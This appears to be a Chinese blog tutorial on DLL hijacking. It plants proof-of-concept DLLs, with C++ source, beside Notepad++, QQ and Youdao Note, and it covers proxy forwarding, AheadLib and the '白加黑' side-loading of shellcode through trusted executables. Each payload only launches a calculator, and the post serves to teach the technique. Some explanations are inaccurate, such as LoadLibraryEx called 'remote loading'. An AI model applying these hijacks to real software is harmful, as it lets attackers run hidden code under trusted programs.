dll劫持

本文将对dll劫持进行分析和利用。

基础知识

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。 在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件。

在windows平台下,很多应用程序的很多功能是相似的,抛去ui等等来说,大致的功能都差不多,比如都得调用窗口,都得调用内存管理的模块来分配内存,都得调用io模块去进行文件操作,读写文件等等,这些模块的具体表现就是DLL文件。

Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

DLL路径搜索目录顺序

1.程序所在目录

2.程序加载目录(SetCurrentDirectory)

3.系统目录即 SYSTEM32 目录

4.16位系统目录即 SYSTEM 目录

5.Windows目录

6.PATH环境变量中列出的目录

Know DLLs注册表项

Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。

Know DLLs注册表项的路径为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

手动劫持

劫持应用中没有的dll

这里dll劫持的选用的是notepad++,注意版本问题,我第一次进行dll劫持的时候使用的是最新版本,导致我鼓捣半天都没能正确执行,搞得我一脸懵逼,百度之后才发现notepad后面的版本修复了漏洞,所以这里选的是6.6.6的版本
在这里插入图片描述

使用到Procmon.exe程序
请添加图片描述

这里打开过后设置几个过滤条件,分别是进程名、路径以及结果

在这里插入图片描述

然后这里找一个需要用到loadlibrary这个api的dll,这里找有这个api的原因是因为如果该dll的调用栈中存在有 LoadLibrary(Ex),说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CMWMZLvU-1646625141778)(/images/dll劫持/image-20211002164621431.png)]

LoadLibraryLoadLibraryEx一个是本地加载,一个是远程加载,如果DLL不在调用的同一目录下,就可以使用LoadLibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用LoadLibraryEx进行远程加载,语法如下

LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

LoadLibraryEx的最后一个参数设置为LOAD_WITH_ALTERED_SEARCH_PATH即可让系统dll搜索顺序从我们设置的目录开始

这里使用vs2019编译一个dll

在这里插入图片描述

这里使用到<stdlib.h>库调用system()生成弹出一个计算器即可

在这里插入图片描述

编译并复制到Notepad++的根目录下

在这里插入图片描述

在这里插入图片描述

运行即可弹出计算器

在这里插入图片描述

劫持应用中存在的dll

这里改个条件,改为SUCCESS

在这里插入图片描述

双击SciLexer.dll 然后看下stack,可以发现同样存在loadlibrary。那就说明这个dll是动态加载的,并且不需要什么导出函数就可以成功被加载。并且是在程序在运行过程中完成的

在这里插入图片描述

这时候我们就需要找这个dll的导出函数,导出函数是可以被外部访问的。导出表包含 DLL 导出到其他可执行文件的每个函数的名称,这些函数是 DLL 中的入口点;只有导出表中的导出函数可由其他可执行文件访问。DLL 中的任何其他函数都是 DLL 私有的。

在动态调用的时候,一般代码通过loadlibrary去加载dll 并作为参数传到到导出函数,这里看一下导入表,发现他这里有一个导出函数

在这里插入图片描述

编写dll时,有个重要的问题需要解决,那就是函数重命名——Name-Mangling。C++的编译器通常会对函数名和变量名进行改编,这在链接的时候会出现一个严重的问题,假如dll是C++写的,可执行文件是C写的。在构建dll的时候,编译器会对函数名进行改编,但是在构建可执行文件的时候,编译器不会对函数名进行改。这个时候当链接器试图链接可执行文件的时候,会发现可执行文件引用了一个不存在的符号并报错,这里我就直接定义extern "C"来告诉编译器不对变量名和函数名进行改编即可

代码如下,我们的目的就是让程序本身去LoadLibrary去加载dll

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>

extern "C" __declspec(dllexport) void Scintilla_DirectFunction();

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

void Scintilla_DirectFunction()
{
    system("calc.exe");
}

生成dll并改名为SciLexer.dll,把原来的dll先放到桌面保存

在这里插入图片描述

然后运行一下发现报错了
在这里插入图片描述

这里也没有弹出计算器,这里就卡了很久,然后发现这里还可以用一种dll转发的方式

dll转发顾名思义,就是要保留原来的dll,再生成一个恶意的dll执行代码,代码如下

// dllmain.cpp : 定义 DLL 应用程序的入口点。
# include "pch.h"
# include <stdlib.h>

extern "C" __declspec(dllexport) void Scintilla_DirectFunction();

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

void Scintilla_DirectFunction()
{
    HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll");
    if (hDll)

    {
        //typedef 是定义了一个新的类型
        //DWORD是双字类型 4个字节,API函数中有很多参数和返回值是DWORD
        //定义了类型EXPFUNC,并且返回类型是DWORD的函数的指针
        typedef DWORD(WINAPI* EXPFUNC)();
        EXPFUNC expFunc = NULL;
        expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction");
        if (expFunc)
        {
            expFunc();
        }

    }
    return;
}

然后把原dll改名为``SciLexer_re.dll,并将生成的恶意dll改名为SciLexer.dll`

在这里插入图片描述

运行notepad++即可

在这里插入图片描述

转发对主程序的依赖非常的高,报错是CreateWindowsEx()返回值为空报错,当使用转发,让程序先走恶意的dll(SciLexer.dll),再走正常的dll的时候(SciLexer_re.dll),我们不清楚主程序的需求是什么可能是一个返回值,也可能参数不正确,这个时候都会导致主程序运行出错。

使用工具劫持

直接转发

这里还是使用导入表进行劫持,首先用cff(下载地址:https://ntcore.com/files/CFF_Explorer.zip)打开QQ.exe的导入表,找一个不在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径里面的dll进行劫持,因为在这个路径里面的dll是优先加载的,加载之后已经进入内核空间,想要劫持难度很大。这里我选择的是libuv.dll进行劫持

在这里插入图片描述

找到路径下的libuv.dll

在这里插入图片描述

然后使用到aheadlib这个工具,输入dll就填QQ.exe路径下的libuv.dll,输出CPP会自动生成,原始DLL的名称要记住,等下会替换

在这里插入图片描述

点击生成就会在目录下生成一个.cpp文件

在这里插入图片描述

打开看一下有一个入口函数

在这里插入图片描述

新建一个vs dll项目,然后将.cpp的代码复制进去,并加上<windows.h><stdlib.h>头文件

在这里插入图片描述

然后在入口函数的地方填上一个弹出计算器的语句

在这里插入图片描述

将原dll文件改名为之前在软件里面复制的名字libuvOrg.dll,并把我们生成的dll文件复制进去

在这里插入图片描述

点击QQ.exe即可弹出calc.exe

在这里插入图片描述

这里分析一下导出函数的代码,随便选一行

在这里插入图片描述

当程序想要调用程序中的uv_udp_open函数的时候,需要先LoadLibrary,即通过libuvOrg.uv_udp_open,@195去加载原始dll,那么libuvOrg.dll其实已经被转发

#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")

即时调用

还是劫持之前的dll:libuv.dll,这里还是先输入DLL,然后转发的地方改为即时调用

在这里插入图片描述

生成一个vs dll项目,把生成的libuv.cpp代码copy到项目里面,然后加上#include "pch.h"#include <stdlib.h>

在这里插入图片描述

在入口函数的地方添加上我们的恶意代码

在这里插入图片描述

然后把原dll改名为libuvOrg.dll,再把我们编译生成的dll粘贴进去

在这里插入图片描述

点击QQ.exe即可完成劫持

在这里插入图片描述

这里继续看看代码,调用导出函数之前先执行入口函数,函数执行完成过后return到Load函数,这里跟过去看看

在这里插入图片描述

Load函数首先把libuvOrg.dll即原来的dll文件写入缓冲区,使用LoadLibrary展开后通过wsprintf与原dll进行判断,如果LoadLibrary成功则继续调用InitializeAddresses()函数,继续跟过去看看

在这里插入图片描述

这里可以发现InitializeAddresses这个函数的作用都是调用GetAddress去Load函数的地址

在这里插入图片描述

在这里插入图片描述

再看看导出函数

在这里插入图片描述

程序要调用uv_async_init这个函数,就可以直接获取原始dll中uv_async_init函数的地址

#pragma comment(linker, "/EXPORT:uv_async_init=_AheadLib_uv_async_init,@2")

直接用__asm jmp到原始dll的导出函数地址去完成功能即可

在这里插入图片描述

对比之前用直接转发出来的cpp,对比之前用直接转发出来的cpp,直接转发对主程序来说,其实就是调用了原来dll的某个函数。

但是即时调用实际上是调用了劫持dll的某个函数,只不过那个函数会jmp到原本的dll中的相应函数的地址。达到的效果相同,但是实现的原理不同。

白加黑

白加黑,就是一个白exe,加上一个黑代码,这里的黑可以是shellcode,也可以是dll。这里主要是尝试一下之前判断的工具的流程,使用导出函数

这里找一个不在Know DLLs里面的dll,而且这个dll必须要用LoadLibrary进行加载,这里我找的是CrashRpt.dll,可以看到有4个导出函数

在这里插入图片描述

那么这里用vs新建一个dll,把这4个导出函数由我们自己来写,这里尝试不转发即时调用,如果不成功在尝试转发

在这里插入图片描述

完整代码如下

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <stdlib.h>

extern "C" __declspec(dllexport) void RptCleanup();
extern "C" __declspec(dllexport) void RptSetAdditionalInfo();
extern "C" __declspec(dllexport) void RptNcThreadListAddCurrent();
extern "C" __declspec(dllexport) void RptInitializeWithDefaultSettingsWithVersion();

void RptCleanup()
{
    system("calc");
}

void RptSetAdditionalInfo()
{

}

void RptNcThreadListAddCurrent()
{

}

void RptInitializeWithDefaultSettingsWithVersion()
{

}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

然后生成dll把原来的CrashRpt替换掉

在这里插入图片描述

启动有道云即可成功弹出计算器

在这里插入图片描述
在这里插入图片描述

  • 9
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
易语言是一种简单易学的编程语言,可以用来编写Windows下的应用程序。在编写dll劫持补丁时,可以使用易语言来实现。 首先,dll劫持是指通过修改被劫持的进程加载的dll路径或名称,使其加载恶意的dll文件。编写dll劫持补丁实际上是为了修复这个漏洞,使被劫持的进程加载正确的dll文件。 在易语言中,可以使用WinAPI函数来完成这个任务。首先,需要用到的函数有以下几个:LoadLibrary函数,用于加载dll文件;GetModuleFileName函数,用于获取正在运行的进程模块的文件名;GetWindowsDirectory函数,用于获取Windows目录;GetProcAddress函数,用于获取函数地址;SetWindowText函数,用于设置窗口文本。 具体的步骤如下: 1. 使用GetModuleFileName函数获取当前运行的进程的文件名; 2. 使用GetWindowsDirectory函数获取Windows目录; 3. 使用SetWindowText函数设置窗口文本,提示正在修复dll劫持; 4. 使用LoadLibrary函数加载正确的dll文件; 5. 使用GetProcAddress函数获取正确的函数地址; 6. 修改被劫持的函数指针为正确的地址; 7. 修复完成后,使用SetWindowText函数恢复窗口文本。 以上就是使用易语言编写dll劫持补丁的基本思路和步骤。需要注意的是,这只是一种简单的办法,不能解决所有的dll劫持问题,对于复杂的劫持行为可能需要使用其他更底层的编程语言和技术进行修复。同时,在使用这种修复方法时,也要遵循法律法规,确保程序的合法性和正当性。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值